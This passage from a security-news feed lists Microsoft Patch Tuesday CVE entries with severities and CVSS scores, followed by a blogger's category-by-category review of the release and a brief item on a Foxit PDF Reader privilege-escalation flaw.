CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50383	Windows Print Spooler Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-57085	Windows Print Spooler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50469	Windows Projected File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50434	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50339	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50430	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50334	Windows Push Notification Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-44800	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50363	Windows Push Notifications Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50431	Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50372	Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50666	Windows Remote Access Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56647	Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50330	Windows Remote Desktop Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50376	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50504	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58533	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58535	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58546	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-58539	Windows Remote Desktop Client Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-55003	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57979	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50445	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50497	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54126	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-57982	Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50369	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58626	Windows Remote Desktop Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-55014	Windows Remote Help Defense Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50318	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50407	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50357	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50441	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50668	Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-54109	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49792	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49793	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50362	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50492	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50501	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58530	Windows Resilient File System (ReFS) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49791	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50451	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-57096	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50323	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50452	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50348	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50345	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50322	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50340	Windows Runtime Elevation of Privilege Vulnerability	Important	8.5	No	No	EoP
CVE-2026-50410	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50449	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50460	Windows Runtime Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50403	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50385	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50413	Windows Runtime Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50457	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50486	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50503	Windows Runtime Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54125	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58527	Windows Runtime Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50373	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50679	Windows Search Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-44806	Windows Secure Channel Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-50681	Windows Secure Channel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56186	Windows Secure Channel Information Disclosure Vulnerability	Important	8.1	No	No	Info
CVE-2026-50367	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58619	Windows Sensor Data Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50311	Windows Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50328	Windows Server Update Service (WSUS) Tampering Vulnerability	Important	7.5	No	No	Tampering
CVE-2026-58531	Windows SMB Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-54997	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-49801	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50690	Windows SMB Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56168	Windows SMB Server Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50360	Windows SMB Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57089	Windows SMB Server Network Transport Driver (srvnet.sys) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50333	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50298	Windows Spaceport.sys Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49171	Windows Speech Runtime Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-49170	Windows StateRepository API Server file Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58526	Windows Storage Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50299	Windows Storage Spaces Direct Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-57968	Windows Subsystem for Linux (WSL2) Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57973	Windows Subsystem for Linux (WSL2) Kernel Tampering Vulnerability	Important	6.3	No	No	Tampering
CVE-2026-50418	Windows System Secure Feature Bypass Vulnerability	Important	5.1	No	No	SFB
CVE-2026-50306	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50307	Windows TCP/IP Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49177	Windows TCP/IP Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50669	Windows Telephony Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-54124	Windows Terminal Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50350	Windows Trusted Runtime Interface Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50326	Windows Unified Consent System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49790	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50498	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58547	Windows Universal Plug and Play (UPnP) Device Host Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-49794	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	4.6	No	No	Info
CVE-2026-50453	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.1	No	No	Info
CVE-2026-58528	Windows USB Audio Class Driver Information Disclosure Vulnerability	Important	6.8	No	No	Info
CVE-2026-50321	Windows USB Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50479	Windows USB Hub Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55000	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	6.4	No	No	EoP
CVE-2026-54991	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54996	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49802	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49806	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50674	Windows USB Print Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49804	Windows USB Video Driver Elevation of Privilege Vulnerability	Important	6.6	No	No	EoP
CVE-2026-50454	Windows User Interface Core Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49176	Windows WalletService Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49800	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50480	Windows Web Proxy Auto-Discovery Protocol (WPAD) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56173	Windows WebView Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58632	Windows Win32 Kernel Subsystem Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54107	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-54986	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54112	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54114	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50670	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50688	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50687	Windows Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56176	Windows Win32k Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58628	Windows Wireless Network Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50295	Windows Zero Trust DNS Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-50509	Wireless Wide Area Network Service (WwanSvc) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55945	Microsoft Edge (Chromium-based) Information Disclosure Vulnerability	Moderate	4.2	No	No	Info
CVE-2026-45488	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	5.4	No	No	Spoofing
CVE-2026-45489	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Moderate	6.5	No	No	Spoofing
CVE-2026-55145	Outlook Copilot Tampering Vulnerability	Moderate	6.3	No	No	Tampering
CVE-2026-56181	Windows Network Address Translation (NAT) Spoofing Vulnerability	Moderate	8.3	No	No	Spoofing
CVE-2026-58597	Microsoft Edge (Chromium-based) Spoofing Vulnerability	Low	4.3	No	No	Spoofing

** Indicates this CVEs has already been resolved by Microsoft, and no further action is needed by the end user.

I’ll do my best to summarize everything else in this release, but no promises. I’m only human after all.

Looking at the remaining Critical-rated patches, Office is its own weather system: fourteen Word/Excel/PowerPoint/Office RCEs clustered at CVSS 7.8, plus five Windows Media Foundation RCEs. Outside of the Preview Pane attack vector, they are individually unremarkable; collectively, patch Office and reboot. Always reboot. We’ve already mentioned DHCP some, but DHCP Server can't catch a break. Beyond the one already covered, add CVE-2026-56159, CVE-2026-48564, CVE-2026-50370, and DHCP Client cousin CVE-2026-54128. Five DHCP RCEs in one release. Rounding things out, Print Spooler (CVE-2026-58608), Windows TCP/IP (CVE-2026-54999), and a SQL Server RCE pair (CVE-2026-54117/54118) all receive patches, and all are rated a CVSS 8.8. VE-2026-55944 (Dynamics NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it’s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) — patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these “normal” as far as patch cadence goes.

That leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.

The pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) — WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.

And because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.

There are close to 260 EoP bugs in this month’s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. What’s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says “elevate privileges” with no detail. By my count, that leaves around 25 bugs to consider. Some don’t elevate at all. The FAQ literally says the attacker just gets “the rights of the user running the affected application.” That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I’ve seen really stands out too much.

There are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it’s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It’s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, “if this fails, nothing above it can be trusted” stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.

The July release includes 31Spoofing bugs this month, and we’ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let "just Spoofing" lull you into deprioritizing the patch cycle.

Of 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures — improper authorization, files/directories accessible to external parties, and link-following — plus Edge for Android exposing “private personal information” twice and two path-traversal bugs. The remaining 40+ are mostly one-line “exposure of sensitive information to an unauthorized actor” entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.

Only 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That’s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to “malicious uses” enabling tampering over the network. That’s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.

Still with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network. The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all “allocation of resources without limits or throttling”. HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.

No new advisories are being released this month.

Looking Ahead

The next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I’ll be back then to give you my full thoughts on the release – no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!

Foxit PDF Reader Flaw Lets Local Attackers Gain SYSTEM Privileges via DLL Sideloading

Sat, 25 Jul 2026 19:02:45 +0200

A recently disclosed vulnerability in Foxit PDF Reader may allow a local attacker with existing code execution to elevate their privileges to NT AUTHORITY\SYSTEM. This issue, tracked as CVE-2026-57239, affects Foxit PDF Reader installations prior to version 2026.2 and arises from the insecure handling of an updater workflow triggered by a user-writable file in the […]

The post Foxit PDF Reader Flaw Lets Local Attackers Gain SYSTEM Privileges via DLL Sideloading appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

The April 2026 Security Update Review

Sat, 25 Jul 2026 19:00:42 +0200

